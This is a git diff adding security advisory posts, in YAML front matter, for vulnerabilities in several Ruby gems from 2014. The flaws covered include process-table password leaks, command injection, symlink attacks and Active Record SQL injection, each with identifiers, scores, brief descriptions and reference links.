+--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-4991.md b/advisories/_posts/2014-06-30-CVE-2014-4991.md new file mode 100644 index 00000000..caaa2e44 --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-4991.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2014-4991 (codders-dataset): codders-dataset Gem for Ruby lib/dataset/database/mysql.rb + and lib/dataset/database/postgresql.rb Process Table Local Plaintext Credential + Disclosure' +comments: false +categories: +- codders-dataset +advisory: + gem: codders-dataset + cve: 2014-4991 + osvdb: 108582 + ghsa: w9vv-fvw8-j6q3 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-4991 + title: codders-dataset Gem for Ruby lib/dataset/database/mysql.rb and lib/dataset/database/postgresql.rb + Process Table Local Plaintext Credential Disclosure + date: 2014-06-30 + description: |- + "(1) lib/dataset/database/mysql.rb and (2) lib/dataset/database/postgresql.rb + in the codders-dataset gem 1.3.2.1 for Ruby place credentials on the mysqldump command + line, which allows local users to obtain sensitive information by listing the process." + cvss_v3: 7.8 +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-4992.md b/advisories/_posts/2014-06-30-CVE-2014-4992.md new file mode 100644 index 00000000..0ead221f --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-4992.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2014-4992 (cap-strap): cap-strap Gem for Ruby Process Table Local Plaintext + Credential Disclosure' +comments: false +categories: +- cap-strap +advisory: + gem: cap-strap + cve: 2014-4992 + osvdb: 108574 + ghsa: pcm6-g2qp-9gw8 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-4992 + title: cap-strap Gem for Ruby Process Table Local Plaintext Credential Disclosure + date: 2014-06-30 + description: |- + cap-strap Gem for Ruby contains a flaw that is due to the application + exposing credential information in plaintext in the process table listing. This + may allow a local attacker to gain access to credential information. + cvss_v3: 7.8 +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-4993.md b/advisories/_posts/2014-06-30-CVE-2014-4993.md new file mode 100644 index 00000000..ccbd8a2c --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-4993.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2014-4993 (backup_checksum): backup_checksum Gem for Ruby /lib/backup/cli/utility.rb + Process List Local Plaintext Password Disclosure' +comments: false +categories: +- backup_checksum +advisory: + gem: backup_checksum + cve: 2014-4993 + osvdb: 108569 + ghsa: wr5j-q359-6vr2 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-4993 + title: backup_checksum Gem for Ruby /lib/backup/cli/utility.rb Process List Local + Plaintext Password Disclosure + date: 2014-06-30 + description: |- + backup_checksum Gem for Ruby contains a flaw in /lib/backup/cli/utility.rb + that is triggered as the program displays password information in plaintext + in the process list. This may allow a local attacker to gain access to + password information. + cvss_v3: 7.8 +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-4994.md b/advisories/_posts/2014-06-30-CVE-2014-4994.md new file mode 100644 index 00000000..b9745eec --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-4994.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2014-4994 (gyazo): gyazo Gem for Ruby client.rb Metacharacter Handling + Remote Command Execution' +comments: false +categories: +- gyazo +advisory: + gem: gyazo + cve: 2014-4994 + osvdb: 108563 + ghsa: 6x45-86q6-rcmr + url: https://nvd.nist.gov/vuln/detail/CVE-2014-4994 + title: gyazo Gem for Ruby client.rb Metacharacter Handling Remote Command Execution + date: 2014-06-30 + description: |- + gyazo Gem for Ruby contains a flaw in client.rb that is triggered when + handling metacharacters. This may allow a remote attacker to execute arbitrary commands. + cvss_v3: 5.5 + patched_versions: + - ">= 2.0.0" +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-4995.md b/advisories/_posts/2014-06-30-CVE-2014-4995.md new file mode 100644 index 00000000..42b66103 --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-4995.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2014-4995 (VladTheEnterprising): VladTheEnterprising Gem for Ruby /tmp/my.cnf.#{target_host} + Symlink Multiple Impact' +comments: false +categories: +- VladTheEnterprising +advisory: + gem: VladTheEnterprising + cve: 2014-4995 + osvdb: 108728 + ghsa: 86cf-g34f-7462 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-4995 + title: VladTheEnterprising Gem for Ruby /tmp/my.cnf.#{target_host} Symlink Multiple + Impact + date: 2014-06-30 + description: |- + VladTheEnterprising Gem for Ruby contains a flaw as the program creates + temporary files insecurely. It is possible for a local attacker to use + a symlink attack against the /tmp/my.cnf.#{target_host} file they can + overwrite arbitrary files, gain access to the MySQL root password, + or inject arbitrary commands. + cvss_v3: 7.0 +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-4996.md b/advisories/_posts/2014-06-30-CVE-2014-4996.md new file mode 100644 index 00000000..ad5768b8 --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-4996.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2014-4996 (VladTheEnterprising): VladTheEnterprising Gem for Ruby /tmp/my.cnf.#{target_host} + Symlink Multiple Impact' +comments: false +categories: +- VladTheEnterprising +advisory: + gem: VladTheEnterprising + cve: 2014-4996 + osvdb: 108728 + ghsa: x4vj-279x-qwf2 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-4996 + title: VladTheEnterprising Gem for Ruby /tmp/my.cnf.#{target_host} Symlink Multiple + Impact + date: 2014-06-30 + description: |- + VladTheEnterprising Gem for Ruby contains a flaw as the program creates + temporary files insecurely. It is possible for a local attacker to use + a symlink attack against the /tmp/my.cnf.#{target_host} file they can + overwrite arbitrary files, gain access to the MySQL root password, + or inject arbitrary commands. + cvss_v3: 5.5 +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-4997.md b/advisories/_posts/2014-06-30-CVE-2014-4997.md new file mode 100644 index 00000000..b24f6911 --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-4997.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2014-4997 (point-cli): point-cli Gem for Ruby /lib/commands/setup.rb Process + Table Local Plaintext Credential Disclosure' +comments: false +categories: +- point-cli +advisory: + gem: point-cli + cve: 2014-4997 + osvdb: 108577 + ghsa: mc8m-x6hf-cw2g + url: https://nvd.nist.gov/vuln/detail/CVE-2014-4997 + title: point-cli Gem for Ruby /lib/commands/setup.rb Process Table Local Plaintext + Credential Disclosure + date: 2014-06-30 + description: |- + point-cli Gem for Ruby contains a flaw in /lib/commands/setup.rb that + is due to the application exposing credential information in plaintext in the process + table. This may allow a local attacker to gain access to credential information. + cvss_v3: 7.8 +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-4998.md b/advisories/_posts/2014-06-30-CVE-2014-4998.md new file mode 100644 index 00000000..50a2e8b8 --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-4998.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2014-4998 (lean-ruport): lean-ruport Gem for Ruby /test/tc_database.rb + Process Table Local Plaintext MySQL Password Disclosure' +comments: false +categories: +- lean-ruport +advisory: + gem: lean-ruport + cve: 2014-4998 + osvdb: 108581 + ghsa: 5g7f-p7jg-v6mv + url: https://nvd.nist.gov/vuln/detail/CVE-2014-4998 + title: lean-ruport Gem for Ruby /test/tc_database.rb Process Table Local Plaintext + MySQL Password Disclosure + date: 2014-06-30 + description: |- + lean-ruport Gem for Ruby contains a flaw in /test/tc_database.rb that + is due to the application exposing MySQL password information in plaintext in the + process table. This may allow a local attacker to gain access to MySQL password + information. + cvss_v3: 7.8 +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-4999.md b/advisories/_posts/2014-06-30-CVE-2014-4999.md new file mode 100644 index 00000000..0065645d --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-4999.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2014-4999 (kajam): kajam Gem for Ruby /dataset/lib/dataset/database/postgresql.rb + Process List Local Plaintext Password Disclosure' +comments: false +categories: +- kajam +advisory: + gem: kajam + cve: 2014-4999 + osvdb: 108529 + ghsa: 4ph7-5c44-pppv + url: https://nvd.nist.gov/vuln/detail/CVE-2014-4999 + title: kajam Gem for Ruby /dataset/lib/dataset/database/postgresql.rb Process List + Local Plaintext Password Disclosure + date: 2014-06-30 + description: |- + kajam Gem for Ruby contains a flaw in + /dataset/lib/dataset/database/postgresql.rb that is triggered as the program + exposes the MySQL or PostgreSQL password in the process list. This may allow + a local attacker to gain access to password information. + cvss_v3: 7.8 +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-5000.md b/advisories/_posts/2014-06-30-CVE-2014-5000.md new file mode 100644 index 00000000..38ed457e --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-5000.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2014-5000 (lawn-login): lawn-login Gem for Ruby /lib/lawn.rb Process Table + Local Plaintext Password Disclosure' +comments: false +categories: +- lawn-login +advisory: + gem: lawn-login + cve: 2014-5000 + osvdb: 108576 + ghsa: rhgq-vv9x-j4p5 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-5000 + title: lawn-login Gem for Ruby /lib/lawn.rb Process Table Local Plaintext Password + Disclosure + date: 2014-06-30 + description: |- + lawn-login Gem for Ruby contains a flaw in /lib/lawn.rb that is due to + the application exposing password information in plaintext in the process table. + This may allow a local attacker to gain access to password information. + cvss_v3: 7.8 +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-5001.md b/advisories/_posts/2014-06-30-CVE-2014-5001.md new file mode 100644 index 00000000..90227efd --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-5001.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2014-5001 (kcapifony): kcapifony Gem for Ruby /lib/ksymfony1.rb Process + List Local Plaintext Password Disclosure' +comments: false +categories: +- kcapifony +advisory: + gem: kcapifony + cve: 2014-5001 + osvdb: 108571 + ghsa: 6fcq-3cm2-j3j5 + url: https://nvd.nist.gov/vuln/detail/CVE-2014-5001 + title: kcapifony Gem for Ruby /lib/ksymfony1.rb Process List Local Plaintext Password + Disclosure + date: 2014-06-30 + description: |- + kcapifony Gem for Ruby contains a flaw in /lib/ksymfony1.rb that is triggered + as the program displays password information in plaintext in the process list. This + may allow a local attacker to gain access to password information. + cvss_v2: 2.1 + cvss_v3: 7.8 + notes: Never patched + related: + url: + - http://www.vapid.dhs.org/advisories/kcapifony-2.1.6.html + - http://www.vapidlabs.com/advisory.php?v=65 +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-5002.md b/advisories/_posts/2014-06-30-CVE-2014-5002.md new file mode 100644 index 00000000..a058c582 --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-5002.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2014-5002 (lynx): lynx Gem for Ruby command/basic.rb Process Table Local + Plaintext Password Disclosure' +comments: false +categories: +- lynx +advisory: + gem: lynx + cve: 2014-5002 + osvdb: 108580 + ghsa: 94cq-7ccq-cmcm + url: https://nvd.nist.gov/vuln/detail/CVE-2014-5002 + title: lynx Gem for Ruby command/basic.rb Process Table Local Plaintext Password + Disclosure + date: 2014-06-30 + description: |- + lynx Gem for Ruby contains a flaw in command/basic.rb that is due to + the application exposing password information in plaintext in the process table. + This may allow a local attacker to gain access to password information. + cvss_v3: 7.8 + patched_versions: + - ">= 1.0.0" +--- diff --git a/advisories/_posts/2014-06-30-CVE-2014-5003.md b/advisories/_posts/2014-06-30-CVE-2014-5003.md new file mode 100644 index 00000000..fc0c138d --- /dev/null +++ b/advisories/_posts/2014-06-30-CVE-2014-5003.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2014-5003 (ciborg): ciborg Gem for Ruby default.rb /tmp/perlbrew-installer + Local Symlink File Overwrite' +comments: false +categories: +- ciborg +advisory: + gem: ciborg + cve: 2014-5003 + osvdb: 108586 + ghsa: g982-9r8g-6qxw + url: https://nvd.nist.gov/vuln/detail/CVE-2014-5003 + title: ciborg Gem for Ruby default.rb /tmp/perlbrew-installer Local Symlink File + Overwrite + date: 2014-06-30 + description: |- + ciborg Gem for Ruby contains a flaw as default.rb creates temporary files + insecurely. It is possible for a local attacker to use a symlink attack against + the /tmp/perlbrew-installer file to cause the program to unexpectedly overwrite + an arbitrary file. + cvss_v3: 5.5 +--- diff --git a/advisories/_posts/2014-06-30-OSVDB-108530.md b/advisories/_posts/2014-06-30-OSVDB-108530.md new file mode 100644 index 00000000..a88af2c4 --- /dev/null +++ b/advisories/_posts/2014-06-30-OSVDB-108530.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'OSVDB-108530 (kajam): kajam Gem for Ruby /dataset/lib/dataset/database/postgresql.rb + Metacharacter Handling Remote Command Execution' +comments: false +categories: +- kajam +advisory: + gem: kajam + osvdb: 108530 + url: https://security.snyk.io/vuln/SNYK-RUBY-KAJAM-20171 + title: kajam Gem for Ruby /dataset/lib/dataset/database/postgresql.rb Metacharacter + Handling Remote Command Execution + date: 2014-06-30 + description: |- + kajam Gem for Ruby contains a flaw in + /dataset/lib/dataset/database/postgresql.rb that is triggered + when handling metacharacters. This may allow a remote attacker + to execute arbitrary commands. + notes: Never patched + related: + url: + - https://security.snyk.io/vuln/SNYK-RUBY-KAJAM-20171 + - https://my.diffend.io/gems/kajam/1.0.3.rc2 + - http://osvdb.org/show/osvdb/108530 +--- diff --git a/advisories/_posts/2014-06-30-OSVDB-108570.md b/advisories/_posts/2014-06-30-OSVDB-108570.md new file mode 100644 index 00000000..08692452 --- /dev/null +++ b/advisories/_posts/2014-06-30-OSVDB-108570.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'OSVDB-108570 (backup_checksum): backup_checksum Gem for Ruby /lib/backup/cli/utility.rb + Metacharacter Handling Remote Command Execution' +comments: false +categories: +- backup_checksum +advisory: + gem: backup_checksum + osvdb: 108570 + url: https://www.openwall.com/lists/oss-security/2014/07/07/12 + title: backup_checksum Gem for Ruby /lib/backup/cli/utility.rb Metacharacter Handling + Remote Command Execution + date: 2014-06-30 + description: |- + backup_checksum Gem for Ruby contains a flaw in /lib/backup/cli/utility.rb + that is triggered when handling metacharacters. This may allow a remote + attacker to execute arbitrary commands. + notes: Never patched + related: + url: + - https://www.openwall.com/lists/oss-security/2014/07/07/12 + - https://my.diffend.io/gems/backup_checksum/3.0.23 + - https://github.com/backup/backup + - http://osvdb.org/show/osvdb/108570 +--- diff --git a/advisories/_posts/2014-06-30-OSVDB-108572.md b/advisories/_posts/2014-06-30-OSVDB-108572.md new file mode 100644 index 00000000..45abe5d0 --- /dev/null +++ b/advisories/_posts/2014-06-30-OSVDB-108572.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'OSVDB-108572 (kcapifony): kcapifony Gem for Ruby /lib/ksymfony1.rb Metacharacter + Handling Remote Command Execution' +comments: false +categories: +- kcapifony +advisory: + gem: kcapifony + osvdb: 108572 + url: https://www.mend.io/vulnerability-database/WS-2014-0019 + title: kcapifony Gem for Ruby /lib/ksymfony1.rb Metacharacter Handling Remote Command + Execution + date: 2014-06-30 + description: |- + kcapifony Gem for Ruby contains a flaw in /lib/ksymfony1.rb that + is triggered when handling metacharacters. This may allow a remote + attacker to execute arbitrary commands. + notes: Never patched + related: + url: + - https://www.mend.io/vulnerability-database/WS-2014-0019 + - https://github.com/Kunstmaan/kCapifony/blob/master/lib/ksymfony1.rb + - http://www.vapid.dhs.org/advisories/kcapifony-2.1.6.html + - http://www.vapidlabs.com/advisory.php?v=65 + - http://osvdb.org/show/osvdb/108572 +--- diff --git a/advisories/_posts/2014-06-30-OSVDB-108573.md b/advisories/_posts/2014-06-30-OSVDB-108573.md new file mode 100644 index 00000000..aa26d62d --- /dev/null +++ b/advisories/_posts/2014-06-30-OSVDB-108573.md @@ -0,0 +1,18 @@ +--- +layout: advisory +title: 'OSVDB-108573 (karo): karo Gem for Ruby db.rb Metacharacter Handling Remote + Command Execution' +comments: false +categories: +- karo +advisory: + gem: karo + osvdb: 108573 + url: http://osvdb.org/show/osvdb/108573 + title: karo Gem for Ruby db.rb Metacharacter Handling Remote Command Execution + date: 2014-06-30 + description: | + karo Gem for Ruby contains a flaw in db.rb that is triggered when handling + metacharacters. This may allow a remote attacker to execute arbitrary + commands. +--- diff --git a/advisories/_posts/2014-06-30-OSVDB-108575.md b/advisories/_posts/2014-06-30-OSVDB-108575.md new file mode 100644 index 00000000..b448009c --- /dev/null +++ b/advisories/_posts/2014-06-30-OSVDB-108575.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'OSVDB-108575 (cap-strap): cap-strap Gem for Ruby Hardcoded Password Crypt + Hash Salt Weakness' +comments: false +categories: +- cap-strap +advisory: + gem: cap-strap + osvdb: 108575 + url: https://www.openwall.com/lists/oss-security/2014/07/07/9 + title: cap-strap Gem for Ruby Hardcoded Password Crypt Hash Salt Weakness + date: 2014-06-30 + description: |- + cap-strap Gem for Ruby contains a flaw that is due to the application + using a hardcoded default 'sa' salt for password encryption. This may + allow a local attacker to more easily decrypt passwords. + notes: Never patched + related: + url: + - https://www.openwall.com/lists/oss-security/2014/07/07/9 + - https://github.com/substantial/cap-strap + - http://www.vapid.dhs.org/advisories/cap-strap-0.1.5.html + - http://www.vapidlabs.com/advisory.php?v=27 + - http://osvdb.org/show/osvdb/108575 +--- diff --git a/advisories/_posts/2014-06-30-OSVDB-108579.md b/advisories/_posts/2014-06-30-OSVDB-108579.md new file mode 100644 index 00000000..44544e61 --- /dev/null +++ b/advisories/_posts/2014-06-30-OSVDB-108579.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'OSVDB-108579 (lynx): lynx Gem for Ruby lib/lynx/pipe/run.rb Remote Command + Execution' +comments: false +categories: +- lynx +advisory: + gem: lynx + osvdb: 108579 + url: https://www.openwall.com/lists/oss-security/2014/07/07/23 + title: lynx Gem for Ruby lib/lynx/pipe/run.rb Remote Command Execution + date: 2014-06-30 + description: |- + lynx Gem for Ruby contains a flaw in lib/lynx/pipe/run.rb that + may allow a remote attacker to execute arbitrary commands. + notes: Never patched + related: + url: + - https://www.openwall.com/lists/oss-security/2014/07/07/23 + - https://security.snyk.io/vuln/SNYK-RUBY-LYNX-20160 + - https://github.com/panthomakos/lynx/blob/master/lib/lynx/pipe/run.rb + - http://osvdb.org/show/osvdb/108579 +--- diff --git a/advisories/_posts/2014-06-30-OSVDB-108585.md b/advisories/_posts/2014-06-30-OSVDB-108585.md new file mode 100644 index 00000000..6e047605 --- /dev/null +++ b/advisories/_posts/2014-06-30-OSVDB-108585.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'OSVDB-108585 (lingq): lingq Gem for Ruby client.rb Metacharacter Handling + Remote Command Execution' +comments: false +categories: +- lingq +advisory: + gem: lingq + osvdb: 108585 + url: https://www.versioneye.com/Ruby/lingq/0.3.1 + title: lingq Gem for Ruby client.rb Metacharacter Handling Remote Command Execution + date: 2014-06-30 + description: |- + lingq Gem for Ruby contains a flaw in client.rb that is triggered + when handling metacharacters. This may allow a remote attacker + to execute arbitrary commands. + notes: Never patched + related: + url: + - https://www.versioneye.com/Ruby/lingq/0.3.1 + - http://www.vapid.dhs.org/advisories/lingq-0.3.1.html + - http://www.vapidlabs.com/advisory.php?v=71 + - http://osvdb.org/show/osvdb/108585 +--- diff --git a/advisories/_posts/2014-06-30-OSVDB-108593.md b/advisories/_posts/2014-06-30-OSVDB-108593.md new file mode 100644 index 00000000..92436d10 --- /dev/null +++ b/advisories/_posts/2014-06-30-OSVDB-108593.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'OSVDB-108593 (kompanee-recipes): kompanee-recipes Gem for Ruby /lib/kompanee-recipes/heroku.rb + Multiple Variable Handling Remote Command Execution Weakness' +comments: false +categories: +- kompanee-recipes +advisory: + gem: kompanee-recipes + osvdb: 108593 + url: https://www.openwall.com/lists/oss-security/2014/07/07/17 + title: kompanee-recipes Gem for Ruby /lib/kompanee-recipes/heroku.rb Multiple Variable + Handling Remote Command Execution Weakness + date: 2014-06-30 + description: |- + kompanee-recipes Gem for Ruby contains a flaw in + /lib/kompanee-recipes/heroku.rb that is triggered when handling shell + metacharacters passed via the 'password', 'user', 'deploy_name', and + 'application' variables. This may allow a remote attacker to execute + arbitrary commands. + notes: Never patched + related: + url: + - https://www.openwall.com/lists/oss-security/2014/07/07/17 + - https://seclists.org/oss-sec/2014/q3/162 + - https://www.mend.io/vulnerability-database/WS-2014-0025 + - https://security.snyk.io/vuln/SNYK-RUBY-KOMPANEERECIPES-20177 + - http://www.vapid.dhs.org/advisories/kompanee-recipes-0.1.4.html + - http://www.vapidlabs.com/advisory.php?v=67 + - http://osvdb.org/show/osvdb/108593 +--- diff --git a/advisories/_posts/2014-06-30-OSVDB-108594.md b/advisories/_posts/2014-06-30-OSVDB-108594.md new file mode 100644 index 00000000..0e5b6109 --- /dev/null +++ b/advisories/_posts/2014-06-30-OSVDB-108594.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'OSVDB-108594 (gnms): gnms Gem for Ruby /lib/cmd_parse.rb ip Variable Shell + Metacharacter Handling Remote Command Injection' +comments: false +categories: +- gnms +advisory: + gem: gnms + osvdb: 108594 + url: http://www.vapidlabs.com/advisories/gnms-2.1.1.html + title: gnms Gem for Ruby /lib/cmd_parse.rb ip Variable Shell Metacharacter Handling + Remote Command Injection + date: 2014-06-30 + description: |- + gnms Gem for Ruby contains a flaw in /lib/cmd_parse.rb that is triggered + when handling shell metacharacters passed via the 'ip' variable. + This may allow a remote attacker to inject arbitrary commands. + notes: Never patched + related: + url: + - http://www.vapidlabs.com/advisories/gnms-2.1.1.html + - http://www.vapidlabs.com/advisory.php?v=55 + - http://osvdb.org/show/osvdb/108594 +--- diff --git a/advisories/_posts/2014-07-02-CVE-2014-3482.md b/advisories/_posts/2014-07-02-CVE-2014-3482.md new file mode 100644 index 00000000..8ffb8cfd --- /dev/null +++ b/advisories/_posts/2014-07-02-CVE-2014-3482.md @@ -0,0 +1,31 @@ +--- +layout: advisory +title: 'CVE-2014-3482 (activerecord): CVE-2014-3482 rubygem-activerecord: SQL injection + vulnerability in ''bitstring'' quoting' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2014-3482 + osvdb: 108664 + ghsa: mhwp-qhpc-h3jm + url: https://nvd.nist.gov/vuln/detail/CVE-2014-3482 + title: 'CVE-2014-3482 rubygem-activerecord: SQL injection vulnerability in ''bitstring'' + quoting' + date: 2014-07-02 + description: |- + SQL injection vulnerability in activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb + in the PostgreSQL adapter for Active Record in Ruby on Rails 2.x and 3.x before + 3.2.19 allows remote attackers to execute arbitrary SQL commands by leveraging improper + bitstring quoting. It was discovered that Active Record did not properly quote values + of the bitstring type attributes when using the PostgreSQL database adapter. A remote + attacker could possibly use this flaw to conduct an SQL injection attack against + applications using Active Record. + unaffected_versions: + - ">= 4.0.0" + patched_versions: + - "~> 3.2.19" +--- diff --git a/advisories/_posts/2014-07-02-CVE-2014-3483.md b/advisories/_posts/2014-07-02-CVE-2014-3483.md new file mode 100644 index 00000000..7bd6bd12 --- /dev/null +++ b/advisories/_posts/2014-07-02-CVE-2014-3483.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2014-3483 (activerecord): CVE-2014-3483 rubygem-activerecord: SQL injection + vulnerability in ''range'' quoting' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2014-3483 + osvdb: 108665 + ghsa: r8fh-hq2p-7qhq + url: https://nvd.nist.gov/vuln/detail/CVE-2014-3483 + title: 'CVE-2014-3483 rubygem-activerecord: SQL injection vulnerability in ''range'' + quoting' + date: 2014-07-02 + description: |- + SQL injection vulnerability in activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb + in the PostgreSQL adapter for Active Record in Ruby on Rails 4.x before 4.0.7 and + 4.1.x before 4.1.3 allows remote attackers to execute arbitrary SQL commands by + leveraging improper range quoting. It was discovered that Active Record did not + properly quote values of the range type attributes when using the PostgreSQL database + adapter. A remote attacker could possibly use this flaw to conduct an SQL injection + attack against applications using Active Record. + unaffected_versions: + - "< 4.0.0" + patched_versions: + - "~> 4.0.7" + - ">= 4.1.3" +--- diff --git a/advisories/_posts/2014-07-09-CVE-2014-5004.md b/advisories/_posts/2014-07-09-CVE-2014-5004.md new file mode 100644 index 00000000..00fb8180 --- /dev/null +++ b/advisories/_posts/2014-07-09-CVE-2014-5004.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2014-5004 (brbackup): brbackup Gem for Ruby Process List Local Plaintext + Password Disclosure' +comments: false +categories: +- brbackup +advisory: + gem: brbackup + cve: 2014-5004 + osvdb: 108901 + ghsa: vqcm-7f7f-r539 + url: http://www.vapid.dhs.org/advisories/brbackup-0.1.1.html + title: brbackup Gem for Ruby Process List Local Plaintext Password Disclosure + date: 2014-07-09 + description: |- + brbackup Gem for Ruby contains a flaw that is due to the program exposing + password information in plaintext in the process list. This may allow a + local attacker to gain access to password information. + cvss_v2: 2.1 + cvss_v3: 7.8 + notes: Never patched + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2014-5004 + - http://www.vapid.dhs.org/advisories/brbackup-0.1.1.html + - http://www.vapidlabs.com/advisory.php?v=25 + - http://www.openwall.com/lists/oss-security/2014/07/10/6 + - http://www.openwall.com/lists/oss-security/2014/07/17/5 + - http://www.securityfocus.com/bid/68506 + - https://web.archive.org/web/20200229055655/https://www.securityfocus.com/bid/68506/ +--- diff --git a/advisories/_posts/2014-07-09-OSVDB-108899.md b/advisories/_posts/2014-07-09-OSVDB-108899.md new file mode 100644 index 00000000..d89f0562 --- /dev/null +++ b/advisories/_posts/2014-07-09-OSVDB-108899.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'OSVDB-108899 (brbackup): brbackup Gem for Ruby /lib/brbackup.rb name Parameter + SQL Injection' +comments: false +categories: +- brbackup +advisory: + gem: brbackup + osvdb: 108899 + url: https://www.openwall.com/lists/oss-security/2014/07/10/6 + title: brbackup Gem for Ruby /lib/brbackup.rb name Parameter SQL Injection + date: 2014-07-09 + description: |- + brbackup Gem for Ruby contains a flaw that may allow carrying out an SQL + injection attack. The issue is due to the /lib/brbackup.rb script not + properly sanitizing user-supplied input to the 'name' parameter. This may + allow a remote attacker to inject or manipulate SQL queries in the back-end + database, allowing for the manipulation or disclosure of arbitrary data. + notes: Never patched + related: + url: + - https://www.openwall.com/lists/oss-security/2014/07/10/6 + - https://raw.githubusercontent.com/codesake/codesake-dawn/master/Roadmap.md + - https://github.com/tongueroo/brbackup/blob/master/lib/brbackup.rb + - http://www.vapid.dhs.org/advisories/brbackup-0.1.1.html + - http://www.vapidlabs.com/advisory.php?v=25 + - http://osvdb.org/show/osvdb/108899 +--- diff --git a/advisories/_posts/2014-07-09-OSVDB-108900.md b/advisories/_posts/2014-07-09-OSVDB-108900.md new file mode 100644 index 00000000..c25ce86b --- /dev/null +++ b/advisories/_posts/2014-07-09-OSVDB-108900.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'OSVDB-108900 (brbackup): brbackup Gem for Ruby dbuser Variable Shell Metacharacter + Injection Remote Command Execution' +comments: false +categories: +- brbackup +advisory: + gem: brbackup + osvdb: 108900 + url: https://www.openwall.com/lists/oss-security/2014/07/10/6 + title: brbackup Gem for Ruby dbuser Variable Shell Metacharacter Injection Remote + Command Execution + date: 2014-07-09 + description: |- + brbackup Gem for Ruby contains a flaw that is triggered as input passed + via the 'dbuser' variable is not properly sanitized. This may allow a + remote attacker to inject shell metacharacters and execute arbitrary + commands. + notes: Never patched + related: + url: + - https://www.openwall.com/lists/oss-security/2014/07/10/6 + - https://raw.githubusercontent.com/codesake/codesake-dawn/master/Roadmap.md + - http://www.vapid.dhs.org/advisories/brbackup-0.1.1.html + - http://www.vapidlabs.com/advisory.php?v=25 + - http://osvdb.org/show/osvdb/108900 +--- diff --git a/advisories/_posts/2014-08-13-CVE-2013-0334.md b/advisories/_posts/2014-08-13-CVE-2013-0334.md new file mode 100644 index 00000000..5bb80f8c --- /dev/null +++ b/advisories/_posts/2014-08-13-CVE-2013-0334.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2013-0334 (bundler): CVE-2013-0334 rubygem-bundler: ''bundle install'' + may install a gem from a source other than expected' +comments: false +categories: +- bundler +advisory: + gem: bundler + cve: 2013-0334 + osvdb: 110004 + ghsa: 49jx-9cmc-xjxm + url: https://nvd.nist.gov/vuln/detail/CVE-2013-0334 + title: 'CVE-2013-0334 rubygem-bundler: ''bundle install'' may install a gem from + a source other than expected' + date: 2014-08-13 + description: |- + Bundler before 1.7, when multiple top-level source lines are used, allows + remote attackers to install arbitrary gems by creating a gem with the same name + as another gem in a different source. A flaw was found in the way Bundler handled + gems available from multiple sources. An attacker with access to one of the sources + could create a malicious gem with the same name, which they could then use to trick + a user into installing, potentially resulting in execution of code from the attacker-supplied + malicious gem. + cvss_v2: 5.0 + patched_versions: + - ">= 1.7.0" +--- diff --git a/advisories/_posts/2014-08-18-CVE-2014-3514.md b/advisories/_posts/2014-08-18-CVE-2014-3514.md new file mode 100644 index 00000000..d0683a6a --- /dev/null +++ b/advisories/_posts/2014-08-18-CVE-2014-3514.md @@ -0,0 +1,27 @@ +--- +layout: advisory +title: 'CVE-2014-3514 (activerecord): Data Injection Vulnerability in Active Record' +comments: false +categories: +- 